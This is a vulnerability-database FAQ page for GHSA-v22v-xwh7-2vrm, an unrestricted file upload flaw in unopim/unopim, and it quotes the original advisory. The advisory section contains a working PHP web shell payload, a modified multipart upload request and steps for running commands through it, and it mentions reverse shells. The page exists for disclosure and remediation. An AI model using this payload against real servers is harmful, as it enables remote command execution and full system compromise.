How severe is GHSA-v22v-xwh7-2vrm?

No CVSS score has been assigned to GHSA-v22v-xwh7-2vrm yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-v22v-xwh7-2vrm?

GHSA-v22v-xwh7-2vrm affects the following packages: unopim/unopim (Packagist). Ecosystems affected: Packagist.

How do I fix GHSA-v22v-xwh7-2vrm?

Update unopim/unopim to 0.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v22v-xwh7-2vrm is resolved across your whole dependency graph.

How do I detect GHSA-v22v-xwh7-2vrm in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for unopim/unopim, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate GHSA-v22v-xwh7-2vrm if there is no patch (or I can't update yet)?

Treat uploaded files as untrusted until proven otherwise: validate the actual content type rather than the supplied extension, store uploads outside the web root on a volume mounted without execute permission, and rename them to server-generated identifiers so an attacker cannot choose the path a request will later resolve.

Is GHSA-v22v-xwh7-2vrm actively exploited in the wild?

No public exploit code has been indexed for GHSA-v22v-xwh7-2vrm yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-v22v-xwh7-2vrm?

GHSA-v22v-xwh7-2vrm has an EPSS (Exploit Prediction Scoring System) score of 0.5%, placing it in the 42th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-v22v-xwh7-2vrm?

GHSA-v22v-xwh7-2vrm is classified as Unrestricted File Upload (CWE-434). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was GHSA-v22v-xwh7-2vrm published, and has it been updated?

GHSA-v22v-xwh7-2vrm was published on August 21, 2025 and was last updated on September 10, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

Description

Summary:

Affected Functionality: Image upload at User creation Endpoint: /admin/settings/users/create

Details

The image upload at the user creation feature performs only client side file type validation. A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. Make changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file.

Modified part of the multipart request body:

Content-Disposition: form-data; name="image[]"; filename="poc.php"
Content-Type: application/x-php

<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>

PoC

Upload an image file as profile picture during user creation , now capture the request and modify. File content: <?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?> File name: poc.php Content-Type can be any, doesn't matter.
Access the uploaded file e.g. http://localhost:8000/storage/admins/21/poc.php?cmd=ls // pass the command to run as parameter value for cmd, example running ls command on the system

Likewise a reverse shell code ( reverse shell of other languages ) can be executed to create a connection to attacker controlled system.

Impact

Every user in the dashboard is allowed to change their profile picture, thus allowing any of these users to execute malicious actions at the Server level. Usually a server might host multiple applications, allowing execution of system commands allows complete control of the system. The impact of an RCE vulnerability can be full system compromise, access to database and filesystem, access other sensitive devices on the network. Please see the POC video: https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn

Recommendation:

Extension Validation: Whitelist allowed extensions. ( use endswith() check rather than contains() as an attacker can bypass such a restriction with filename: poc.jpg.php
